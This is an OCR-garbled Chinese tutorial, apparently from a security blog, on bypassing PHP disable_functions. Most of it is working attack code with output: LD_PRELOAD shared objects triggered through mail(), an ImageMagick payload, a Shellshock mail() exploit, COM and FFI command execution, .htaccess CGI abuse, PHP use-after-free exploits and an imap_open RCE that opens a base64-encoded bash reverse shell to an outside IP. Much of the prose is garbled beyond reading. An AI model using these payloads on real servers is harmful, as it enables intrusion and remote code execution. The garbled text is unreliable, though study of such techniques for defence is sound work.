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1. 225 bypass
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PHP rhECETEHIT ROERFAOZES

system()

shell _exec()

exec()

passthru()

popen()

proc_open()

pcntl_exec()

di() // InEHAEX php §E

PHP FHITIZERF (R5|5) HIRERH shell_exec() 2+EREAY
— ULV G TERMRAY disable functions PRI

passthru,exec,system,putenv, chroot, chgrp,chown,shell exec,popen,proc_open,pcntl_exec,ini_

2. LD PRELOAD & putenv() bypass disable functions
Windows?
LD_PRELOAD 22— Unix FELUBAFFHRAIMEEE, - EdRELEAM
ikl

LD_PRELOAD 2—AJiEHY Unix IAMRZE, 88— M EHE M HEESHEENER,
IEFEFSERS CiafThIEE (libcso) RUEAEMHEZELZRINIEIZERRE. XA



JIlIE=9E=N

EHEREA AR INERFANETHTRISE (Runtime linker) , BRHREXEEFEZ
TR INERINS I ERE. RIFIRTLAE CER— M aSHERENE:, LIBEIERERY
REE, BALLENEERER, ITEEDL.

LD_PRELOAD %gid disable_functions RIRIEERUEAFRFREY, (ErEF MBS HSEERE
M, NMHPATRGtan < SRR

BT, FAPRHZ—T Linux RAPEEDNGS

strace —f id

{53 strace N ARIARRBATESEBIIRREREXIN A TOMN, THNABITIFIRERN

strace SICFRAET SHENMERFAA BRI N HEFMZKEIRMBESE, BE
Docker EF'{%}EE strace %ﬁ%%%%l‘ilﬁélbﬁgﬁ)ﬁiﬂ docker run ——security—opt seccomp:unconfined —d xxx
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brk(@x245e000) = PxZ245e000

open("/proc/filesystems"”, 0_RDONLY) =3

fstat(3, {st_mode=S_IFREG|@444, st_size=0, ...}) =@

mmap(NULL, 4296, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, @) = @x7f9
a390a26000

read(3, "nodevitsysfs\nnodev\trootfs\nnodev\tr"..., 1024) = 449

read(3, "", 1024) =0

close(3)

munmap(@x7f9a390a2000, 4096)

fstat(l, {st_mode=S_IFIFQ|Q60Q@, st_size=0, ...}) =0

mmap(NULL, 4@96, PROT_READ|PROT_WRITE, MAP_PRIVATE |MAP_ANONYMOUS, -1, @) = @x7f9
0398002000

socket(PF_LOCAL, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, @) = 3

connect(3, {sa_family=AF_LOCAL, sun_path="/var/run/nscd/socket"}, 11@) = -1 ENQE
NT (No such file or directory)

close(3) =0

socket(PF_LOCAL, SOCK_STREAM|SOCK_CLOEXECISOCK_NONBLOCK, @) = 3

connect(3, {sa_family=AF_LOCAL, sun_path="/var/run/nscd/socket"}, 110) = -1 ENQE
NT (No such file or directory)

EXMEBITS R FREARICRIFAIEIIR,

man 2 getenid AR ERE geteuid RFREFEEALIGFIEC
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GETUID(2) Linux Programmer's Manual GETUID(2)

NAME
getuid, geteuid - get user identity

#include <unistd.h>
#include <sys/types.h>

uid_t getuid(void);
uid_t geteuid(void);

DESCRIPTION
getuid() returns the real user ID of the calling process.

geteuid() returns the effective user ID of the calling process.

#include <unistd.h>

#include <sys/types.h>

uid_t geteuid(void){
system("cat /etc/passwd");

e =) A FON L
gcc ——share —fPIC bad. ¢ —o bad. so

{5F LD_PRELOAD fN#ENMIEmAY bad.so, BHAT i1 GiSEEIR

LD_PRELOAD=. /bad. so id
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LD_PRELOAD {EAMHEIMGINETE, BEFTHSRIVAATEFR

mail:x:8:8:ma1l:/var/mail:/usr/sbin/nologin

news :x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

waw-data:x:33:33 :ww-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
1rc:x:39:39:1rcd: /var/run/ircd: /usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/1lib/gnats:/usr/sbin/nologi
n

nobody :x: 65534 :65534 : nobody : /nonexistent : /usr/sbin/nologin
11ibuuid:x:108:101: : /var/11b/11buuid:
syslog:x:101:104: : /home/syslog:/bin/false
sshd:x:102:65534: : /var/run/sshd: /usr/sbin/nologin
ctf:x:1003:1002: : /home/ctf:/bin/bash

mysql:x:103:107 :MySQL Server, ,,:/nonexistent:/bin/false
uid=0(root) gid=@(root) groups=0(root)
root@b880a96588c2 : /tmp# AL

root@bB8Ra9658Ec : /tmp# AC

PRIIHTHIRA B E X AT, SEET passwd X4
8 AN EE AR

#include <stdlib.h>
__attribute__((constructor)) void jok3r(){
unsetenv("LD_PRELOAD");
if (getenv("cmd") != NULL){
system(getenv("cmd"));


https://i.loli.net/2020/03/02/LslpxM6FbXnrRuH.png

}else{
system("echo 'no cmd' > /tmp/cmd.output");

FJF GNU C PHUSIRIEIER  attribute  ((attribute-list)) , H{SEAH constructor BIFLRILATE
ERHEZERET, BEREEFGNIEFR, BAHEE" WERE BHIREUISE main()
BRELZRIMHIT, KIURY, E=2HEK destructor 221, NLEZRESAE main() BEHITZEE
& exit() #HREREHBNIT

B RiRE PHP iIzTIREFREGHIEFE, ERIINSEENSIHEERNSRMT, EaLL
HAT .so FRIEEAED

Eban PHP Ar&2E8RY mail() BRiEY, BE X PHP #1147 mail() REEIRHERE I SERTIEFEE RSN
FmHEE

strace —f php —r “mailC’,””,”",”"):” 2>&1 | grep -E “execve| fork|vfork”

root@b880a96588c2: /tmp# strace -f php -r "mail("'','","'","");" 2581 | grep -E "ex
ecvel fork|vfork"

("Jrfusr-ffbin;fphp"’ [thp"’ "_r.", "mai'l{i ) s L | s L | s ) !);"] s [jl'* 12 var‘s *ﬂ) - a
[pid 39657] ("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -1 "], [/* 12

vars */] <unfinished ...>

[pid 39657] <... resumed> ) =0

[pid 39658] ("/usr/sbin/sendmail”, ["/usr/sbin/sendmail®, "-t", "-i"], [/*
12 vars */]) = -1 ENOENT (No such file or directory)

root@oB80a96588cs : /tmp# I
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ALBBE AT mai() REER execve BT sendmail, EETRTLAER readelf -Ws 5i&
strace 5pSEZE sendmail BFENRFAREARBR

£ PHP HafER putenv() REURERNGRE, (NFETIRIEKREE. EERERNRESIRE
BRI

<?php

putenv("cmd=cat /etc/passwd");
putenv("LD_PRELOAD=./bad.so");
mail ("', "', ', )

1B171% PHP SUABRIRT R IhiTm<S, MEIRBE % sendmail thagpIhFIF

W - data x:33:33 :www- data Avar/www: /usr/sbin/nologin
backup:x:34:34:backup:/var/backups: /usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
1rc:x:39:39:1rcd:/var/run/ircd: /usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/1lib/gnats:/usr/sbin/nologi
n

nobody : x: 65534 :65534 : nobody : /nonexistent: /fusr/sbin/nologin

1ibuuid:x:100:101: : /var/11b/11buud:
syslog:x:101:104: : /home/syslog:/bin/false
sshd:x:102:65534: : /var/run/sshd: /usr/sbin/nologin
ctf:x:1003:1002: : /home/ctf:/bin/bash

mysql :x:103:107 :MySQL Server,,,:/nonexistent:/bin/false
sh: 1: /usr/sbin/sendmail: not found
root@b880a96588c2 : /tmp#
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R mail() RETTEBER, BEJLUER error 1ogC’, ) BGE  ub send mail(’,”,")
imap mail (“1@a. com”, 70", ”1”,72”,73") (;ZD% PHP ;FET |map *Ei;&)

R PHP £37 imagick &R, NERTLAER Imagick, HEEZR] MPEG format B9AHE, &
'U%_'ﬂa ffmpeg ﬁ*ﬂ%ﬂ%ﬁi@, ttﬂﬂﬁﬁﬁ new Imagick( 1. mp4 )

NEEEE D X THREXEER execve RATHRARY php BREHY Fuzz 7534

3. ImageMagick bypass disable functions
A ImageMagick ap$#iiTiRwR (CVE-2016-3714)

<?php

echo "Disable Functions: " . ini_get('disable_functions') . "\n";

function AAAA(){
$command = 'curl 127.0.0.1:7777';

$exploit = <<<EOF

push graphic-context

viewbox © © 640 480

fill 'url(https://example.com/image.jpg"|$command")’
pop graphic-context

EOF;

file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg"');
$thumb->writeImage('KKKK.png');
$thumb->clear();

$thumb->destroy();

unlink ("KKKK.mvg");



unlink ("KKKK.png");

}
AAAA();

?>

EIIE https://github.com/Medicean/VulApps/tree/master/i/imagemagick/1

4. PHP 5.x Shellshock Exploit (bypass
disable functions)

PHP < 5.6.2 - ‘Shellshock’ Safe Mode / Disable Functions Bypass / Command

Injection

exploit-db _EAIHIAS

<pre>
<?php echo "Disabled functions: ".ini_get('disable_functions')."\n"; 2>
<?php
function shellshock($cmd) {
if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");

mail("a@127.0.0.1","",""," ", "-bv");
}
else return "Not vuln (not bash)";
$output = @file_get_contents($tmp);
@unlink($tmp);


https://github.com/Medicean/VulApps/tree/master/i/imagemagick/1

if($output != "") return $output;
else return "No output, or not vuln.";

}
echo shellshock($_REQUEST["cmd"]);

?>

5. PHP-FPM/FastCGl bypass disable functions

RKEFIE, Web Server RRREDAEIE, ABINR Nginx B2 php shiSEKIZE AR,
XETEET#E PHP-FPM 0 FastCGl T

FastCGl BRRTRRZEIERFS Web IRSZS=EOMN_HHEINN., FastCGl REHIRYERAMNKE
O (CGl) AYZE(R. FastCGl (NEZEBRIZMDS Web IRS5a:H1 CGl FRREORXRAIFHE, M
MRS 2 A LA— R E ZRIMTTEK.

PHP-FPM ( FastCGl #2E1E28) 22— PHP FastCGl LI, BEF—LHMThAE, THTF
SFIUENNEE, SEHEST LS, PHP-FPM tt2BTFEEEIE PHP #4788 php-cgi BUE
EBfER, php-cgi {0 PHP BHHIMERRE, REN CGlIEF, RTBIMERRESERZ N, FF
TREETEHIZ, tBEiTSEMENEK php.ini EBXHEFEER

B FastCGl 2 CGI ATk, FITit2E webserver &i%45 php SEREESHISUE, BT
PHP-FPM #2728 FastCGl WM TRMBERFITEUE, IREILERE webserver
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Web Server(Apache. Nginx &)

PHP5.3 [RAZf5, PHP-FPM ERETF PHP By, —figskik, THEAESFHRIBERT,
nginx + PHP-FPM B94E&ZELY apache + mod_php iFRE

BBAMIEERAIEL PHP-FPM Rt el LMERRBHIT
BIZA:  https://gist.github.com/phithOn/9615e2420f31048f7e30f3937356¢f75
L

python fpm.py —c ~<?php echo id ;exit:;?> -p 9999 127.0.0.1 /var/www/html/test.php
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Downloads »

X-Powered-By: PHP/7.3.10@
Content-type: text/html; charset=UTF-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)

6. Windows E%4H{4 COM

COM (Component Object Model) B3i5tEE, B—MEBENATESHEZE " HHEER
73i%. COM BJLAMEA DLL HANFEFERAN BT LUEIS DCOM #iriEHZEM

C:\Windows\System32 _FE,‘J wshom.ocx ﬁgﬂz*ﬁ;{ﬁ WshShell Xj%ﬂ] WshNetwork XUL%EDEI"JU']—
15, HEtRIRMHEIIAHE Windows shell FIiEAFMEZAMNWE EHZRIERGE

php.ini FFFE  con allow_dcon

com. allow_dcom = true
EAZ2E Windows, SIREHRENEIE php/ext/ 77 php_com dotnet.dll
2| php.ini FFEHRE

extension=php_com_dotnet. d11

EBFRSHE phpinfo FEigeEEIFF T com_dotnet
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<?php

$command = $_GET['cmd'];

$wsh = new COM('WScript.shell') or die("Create Wscript.Shell Failed!");
$exec = $wsh->exec("cmd /c".$command);

$stdout = $exec->Stdout();

$stroutput = $stdout->ReadAll();

echo $stroutput;

?>

EFR_EERY PHP XA%i@Id COM 33504 exec() /5iERIRT4aid disable functions #1784

@ FLL | 10.211.55.99/com.php?cmd=dir

IHEH2% Y FEIER Shared Folders #HIFFFSE 0000-0000 Y:\phpStudy\WWW BB F 2019/08/03 (
11:32

install 2019/08/21 17:08
app 2019/06/18 09:30 3,897 SRF P SN AN xt 2019/10/12 17:12 490 index.php 201
cache 2019/10/28 19:06
config 2019/08/21 17:08
include 2019/11/08 17:06 23 phpinfo.php 2019/08/07 11:32
member 2018/08/27 11:35
admin 2019/08/07 11:32

sitemap 2019/08/07 11:32
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7. PHP 5.2.3 win32std extension safe mode and
bypass disable functions

XMNRUIEEHET https://www.exploit-db.com/exploits/4218
exploit-db LAY exp

<?php

if (!extension_loaded("win32std")) die("win32std extension required!");

system("cmd.exe");

win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
?>

8. FFI %4d disable functions


https://www.exploit-db.com/exploits/4218

PHP7.4 F9— A 45ME FFI (Foreign Function Interface) , BAMEREREUEO, ATLALFRAIE
PHP #iERS C K88

$EINFE Docker A Tt

apt-get install libffi-dev

docker-php-ext-install ffi

EHEER FFlicdef BIZ—HEY FFI MR, TEEES A

public static FFI::cdef ([ string $code = 77 [, string $1ib 1] ) : FFI

Parameters

code

A string containing a sequence of declarations in regular C language (types,
structures, functions, variables, etc). Actually, this string may be > copy-pasted
from C header files.

Note:

C preprocessor directives are not supported, i.e. #include, #define and CPP
macros do not work.

lib

The name of a shared library file, to be loaded and linked with the definitions.
Note:

If lib is omitted, platforms supporting RTLD DEFAULT attempt to lookup
symbols declared in code in the normal global scope. Other systems will fail to >

resolve these symbols.



ABANEIRITE S <SUe, {3 FFl:cdef FHBE— system BREUFERAMAILLT .  nan systen BH
system BEREUREE, EESHIHTF
<?php
$ffi = FFI::cdef(
"int system(const char *command);",
"libc.so.6");

$ffi->system("id");

?>

PRIIHAT

root@1134ea325d80: /var/ww/html# php ffi.php
uid=0(Croot) gid=@A(root) groups=0(root)

root@1134ea325d80: /var/ww/html# |]

XEBINRAEN system FEME libc.so.6 EHBETTLBUTHR SN, SUF
RTLD_DEFAULT W¥EEH=REEM B eENERERBHEBRIGFS

SHAIRBEES] FFIicdef BRERRT lib SE08YRTR, FFl:cdef BREGARTLUNEF(IEE XA
e, (ERFEEEEMRE, dNSTANE, tban

ffi.php
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<?php
$ffi = FFI::cdef(
"int system(const char *command);",

"/var/www/html/bad.so");

?>

bad.c

#include <stdlib.h>
__attribute__((constructor)) void jok3r(){
system("echo Hacked && id");

NENNEGRIEFH bad.so BIETHTEEMNEE

root@1134ea325d80: /var/www/html# gcc --share -fPIC bad.c -o bad.so
root@1134ea325d8@: /var/ww/html# php ffi.php

Hacked
uid=8(root) gid=A(root) groups=@(root)
root@l134ea325d480 : Avar/www/hitml# I

9. Apache mod cgi {Ep4 .htaccess L3R

BIVFIREY

e Apache FFi5 AllowOverride


https://i.loli.net/2020/03/02/T3hPgw4qv9YiXEC.png

e FFE cgi_ module

o .htaccess X4nI5

o Cqi TEFAIHIT
AR Docker, SLVRRHE
docker pull bronsonbdevost/cgi-web-server

XA cgi BR1E /usr/local/apache2/cgi-bin, BL&S{4F
/usr/local/apache2/conf/httpd.conf

EIANIRE PHP, &3

apt-get install php5-common 1ibapache2-mod-php5
%4 libsqlite3-0 404 AUIERTLARIME T2
https://packages.debian.org/zh-cn/jessie/amd64/libsqlite3-0/download

wget http://security.debian.org/debian-security/pool/updates/main/s/sqlite3/1libsqlite3-0_

dpkg -i libsqlite3-0_3.8.7.1-1+deb8u4_amd64.deb

7N php5 ERECE S

cp /etc/apache2/mods—available/php5. conf. dpkg—new conf/extra/php5 module. conf

{2 httpd.conf


https://packages.debian.org/zh-cn/jessie/amd64/libsqlite3-0/download

AddHandler php5-script php
LoadModule php5_module /usr/lib/apache2/modules/libphp5.so

Include conf/extra/php5_module.conf
EfF Apache
/usr/local/apache2/bin/apachect] restart
BRINBNER .htaccess 14, iHMINEE .sh

Options +ExecCGI
AddHandler cgi-script .sh

E1& sh 324, NEEHpERIrT T EF RIS

#!/bin/bash

echo "Content-type: text/html"
echo "Hello, Shell"

curl 192.168.214.107:7777


https://i.loli.net/2020/03/02/8UZoB5amAlLPN7R.png

@ 127.0.0.1:8888/test/1.sh

L

GET / HTTP/1.1

Internal Sewer Error User-Agent: curl/7.38.0

Host: 192.168.214.107:7777
Accept: */%

The server encountered an internal error or misconfigurat
Please contact the server administrator at you@example.

More information about this error may be available in the

10. #JA PHP bug Bypass disable functions
AR PHP JisEifsiEskER1d disable_functions
Exploits :

https://github.com/mmOr1/exploits

(1) Use after free with json serializer

o EFRBR:
e 7.1 - all versions to date
o 7.2 <7.2.19 (released: 30 May 2019)
e 7.3 <7.3.6 (released: 30 May 2019)


https://i.loli.net/2020/03/02/8UZoB5amAlLPN7R.png
https://github.com/mm0r1/exploits

php-json-bypass

¥ - 0 xc@ubuntu: ~/Desktop/exploits/php-json-bypass
xc@ubuntu: S php -v

PHP 7.1.33-1+ubuntul6.04.1+deb.sury.org+1 (cli) (built: Oct 26 2619 19:28:
NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.1.33-1+ubuntul6.04.1+deb.sury.org+1, Copyright (c) 1999
-2018, by Zend Technologies
¥c@ubuntu: S php exploit.php

uid=1000(xc) gid=1000(xc) £H=10080(xc),4(adm),24(cdrom),27(sudo),30(dip),46(plugd
ev),113(1lpadmin)},128(sambashare)
Xxc@ubuntu: 3 l

(2) Use After Free in GC with Certain Destructors
https://bugs.php.net/bug.php?id=72530

o EAHEMR:
e 7.0 - all versions to date
e 7.1 - all versions to date
e 7.2 - all versions to date

e 7.3 - all versions to date
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php7-gc-bypass

¥ - 0 xc@ubuntu: ~/Desktopfexploits/php7-gc-bypass

Xc@ubuntu: S php -v
PHP 7.1.33-1+ubuntul6.04.1+deb.sury.org+1 (cli) (built: Oct 26 2019 19:28:
NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.1.60, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.1.33-1+ubuntul6.04.1+deb.sury.org+1, Copyright (c) 1999
-2018, by Zend Technologies
Xc@ubuntu: S php exploit.php
Linux ubuntu 4.13.0-45-generic #50-~16.04.1-Ubuntu SMP Wed May 30 11:18:27 UTC 20
18 XxB6_64 x86_64 x86_64 GNU/Linux
xc@ubuntu: S |

MiK#E ubuntu16.04 + PHP 7.1.33 FUEME TR exp EEILAERFERN, BUNIREE
Docker & REAMRE FFA—E T

11. PHP imap_open RCE Eil (CVE-2018-19518)
F5k PHP 2% imap 1&R

f258 shell payload:


https://i.loli.net/2020/03/02/d4mUYiC189bTPMt.png

<?php

$payload = "/bin/bash -i >& /dev/tcp/192.168.214.107/7777 0>8&1";
$base64 = base64 _encode($payload);

$server = "any -oProxyCommand=echo\t{$base64}|base64\t-d|bash";
@imap_open("{".$server."}:143/imap}INBOX","","");

L ]

root@@43e7fe3de56: /usr/share/nginx/html# id
id

uid=0(root) gid=@(root) groups=@(root)
root@@43e7fe3de56: /usr/share/nginx/html# [|

T .~ [IFs5.4AGB
root@@43e7fe3de56: /usr/share/nginx/html# php p.php
root@@43e7feldde56: /usr/share/nginx/html# I

—LFIETH
1.Bypass disable functions TE.:

https://github.com/I3m0On/Bypass Disable functions Shell

2.AntSword %¥d PHP disable functions f&{4:


https://i.loli.net/2020/03/02/4dHkKAv95Ywyoh1.png
https://github.com/l3m0n/Bypass_Disable_functions_Shell

antsword bypass PHP disable functions
3.Chankro:

https://github.com/TarlogicSecurity/Chankro

0x02 Fuzz B S AEP RS HAEREL

FEE5EMA LD PRELOAD XA 54 disable functions BIFHE, BEHE— R,
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php > echo (new ReflectionFunction('substr'))->getNumberOfRequiredParameters();
2

php > echo (new ReflectionFunction('substr'))->getNumberOfParameters();
3

php > |
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<?php
function foo(int $a) { }

$functionReflection ReflectionFunction('foo');
$parameters = $functionReflection->getParameters();
$aParameter - $parameters[0];

var_dump ($aParameter->getClass());
var_dump($aParameter->getType());
var_dump(($aParameter—>getType())->getName());

$functionReflection2 ReflectionFunction('substr');
$parameters2 = $functionReflection2->getParameters();
$aParameter2 - $parameters2[0];

var_dump ($aParameter2->getClass());
var_dump($aParameter2—>getType());

>

NULL

object (ReflectionNamedType)#3 (@) {
}
string(3) "int"
NULL

NULL

[Finished in 0.1s]
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NE, BRBEEXRE foo BERBITRETERHRE— ReflectionNamedType £,
getName() SEISEHEEE, LWRIKAIZ php BEA XS LSRIZ ReflectionType, B{RN:
PHP: ReflectionParameter - Manual X—T1, ¥ ReflectionNamedType 5EIRIEIE
404 , BX php ERFIXAENMEERBTE

public getName ( void ) : string
public getPosition ( void ) : int

public getType ( void ) : ReflectionType

public hasType ( void ) : bool
public isArray ( void ) : bool
public isCallable ( void ) : bool
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# User Database

#

# Note that this file is consulted directly only when the system is running
# in single-user mode. At other times this information is provided by

# Open Directory.
#
#
#

See the opendirectoryd(8) man page for additional information about
Open Directory.
##
nhobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:@:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico
_taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false
_networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false
_installassistant:*:25:25:Install Assistant:/var/empty:/usr/bin/false
_lp:#:26:26:Printing Services:/var/spool/cups:/usr/bin/false
_postfix:*:27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false
_scsd:*:31:31:Service Configuration Service:/var/empty:/usr/bin/false
_ces:*:32:32:Certificate Enrollment Service:/var/empty:/usr/bin/false
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import os
import sys

import re
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def getAllDefinedFunc():

def

def

get_defined_function = os.popen("php -r 'print_r(get_defined_functions()[\"internal\"

o o
1] 1]

for

get_defined_function

get_defined_function[2:-1]
map(str.strip, b)

i in range(len(b)):

b[i] = re.sub(r'.*> ', "', b[i])
b

get_defined_function.remove(get_defined_function[0])

get_defined_function.remove(get_defined_function[0@])

get_defined_function.remove('readline')

return get_defined_function

getModuleFunc (phpModuleName, getDefinedFunction):

moduleFunc = []

for

func in getDefinedFunction:

getExtNameCmd = "php -r \"echo (new ReflectionFunction('{}"'))->getExtensionName()
extName = os.popen(getExtNameCmd).readlines()[9]

if extName == phpModuleName:

moduleFunc.append(func)

return moduleFunc

fuzzFunc(getDefinedFunction):

for

func in getDefinedFunction:
maxParaNumCmd = "php -r \"echo (new ReflectionFunction('{}"'))->getNumberOfParamet
minParaNumCmd = "php -r \"echo (new ReflectionFunction('{}"))->getNumberOfRequire
maxParaNum = int(os.popen(maxParaNumCmd).readlines()[@])
minParaNum = int(os.popen(minParaNumCmd).readlines()[0])
print maxParaNum
print minParaNum
for paraNum in range(minParaNum,maxParaNum + 1):
paraMeters = ['\"'1../../../../../../../../../etc/passwd\'"' for i in range(par
paraMeters = ','.join(paraMeters)
newPhpCmd = "php -r \"{}({});\"".format(func,paraMeters)
print newPhpCmd

newFuzzCmd = "strace -f {} 2>&1 | grep -E 'execve|fork|vfork'".format(newPhpC



print newFuzzCmd

out = re.findall(r'execve', ''.join(os.popen(newFuzzCmd).readlines()[1:]))

print out
if len(out) >= 1:
with open('fuzz-out.txt','a+') as file:
file.write(newPhpCmd + "\n")

break

if __name__ == "__main__":
if len(sys.argv) > 1:
phpModuleName = sys.argv[1]
getDefinedFunction = getAllDefinedFunc()
moduleFunc = getModuleFunc(phpModuleName,getDefinedFunction)
if len(moduleFunc) ==
print (%A HRESHEERYAHRHI RS, a2 POE S IE")

else:

fuzzFunc(moduleFunc)
else:
print ('fuzz all')
getDefinedFunction = getAllDefinedFunc()
fuzzFunc(getDefinedFunction)
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P 3Ls 00 ol 0 6l 0 ol o ol o ol s o /etc/passwd');"
-f php -r "dl 6eilo s /../../../etc/passwd');" 2>&1 | grep -E 'execvelforklvfork'

php -r "cli_set_process_title('l.. Jools o/ ol o ./../etc/passwd"')

SurzEd =F [Pp =F Tell St prodass GleleC il oo oo oo ol o o/ i /etc/passwd " 2>&1 | grep -E 'execvelforklvfork'
0
4}

0
php -r "cli_get_process_title();"
strace -f php "cli_get_process_title();" 2>&1 | grep -E 'execvelforklvfork'
[0
root@a@a536bfcfa2:~/test# cat fuzz-out.txt
Hiiler sapel el ilo oo oo o o ol o ol 50 W o ol o l/@ENpESSNE o Vibo 6l 0 ol o ol 0 ol o ol o ol o ol & ol o /S ol o olloolloollootl ool ool s T paSaE) g "
e xe'c @/ Golie o/l ./../etc/passwd');
Yyl iks o0 o/ o /../../etc/passwd’
UoesSEHFIC o 0/ 0f o 0/ 0 ol o o /etc/passwd');"
s hejliiSiexec (@R ol ool s . ./etc/passwd');"
-r "error_log('l Vi ol Tl Ao tc/passwd’ 5 . 5 W ../etc/passwd');"
=[P M ile o0 o//0 o/ o ol o olf s ol o ol o /BSOS 5 VLo o/ 5 ool > eSS 5 "l o o o/ 0 ol o o/ o ol o ol o ol o ol & B p@SS Tl DY
=R gnupg=init @)
-r "imap_mail('1l../ 5 / 5ol /e EC/InaSSWA RIS R/ G s A ol o QBB o Vibo 0l o 0l o ol o ol 5 ol 0 M o ol o ol o
SRR D ch S eXe'c @SS ol ooll ool ool s oMo ./etc/passwd');"
root@a@a536bfcfa2:~/test#

fuzz-1
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"gnupg_gettrustlist();"
-f php -r "gnupg_gettrustlist();" 2>&1 | grep -E 'execvelfork|vfork'

"gnupg_listsignatures();"
-f php -r "gnupg_listsignatures();" 2>&1 | grep -E 'execvelforklvfork'

php -r "gnupg_seterrormode();"
strace -f php -r "gnupg_seterrormode();" 2>&1 | grep -E 'execvelforklvfork'

]
root@®30350d2bc520@:~# cat fuzz-out.txt

phip Sl b itk
root@30350d2bc520 : ~#
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[opcache]
zend_extension=/usr/lib/php/20151012/opcache.so
opcache.enable=1

opcache.enable_cli=1
opcache.memory_consumption=528
opcache.interned_strings_buffer=8
opcache.max_accelerated files=10000
opcache.revalidate_freqg=1
opcache.fast_shutdown=1
opcache.validate_timestamps=0

opcache.file_cache=/tmp

HAH opcache file_cache NIZfEEEFER, tLUNRE /tmp, 11T /var/www/html/ Y
index.php WS4 BHEMNAY /tmp/[system _id]/var/www/html/index.php.bin 324

system_id 22481 PHP fRAS, Zend I BIRASIAR S MNEWESREA/NG MD5 8

EF—MIMETFA opcache BRI E&EERBHNEFEE, BXEMELEE
system id AEEHEIIEIZEHRY system id, REFH system id, X4 16 #HEIFHY php
X BREMEARETEETN
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root@@43e7feldde56: /usr/share/nginx/html# cat evil.php
<?php

echo "nothing\n";

root@@43e7feldde56: /usr/share/nginx/html# php evil.php

uid=@(root) gid=@(root) groups=0(root)
root@@43e7fe3de56: /usr/share/nginx/himl# ||
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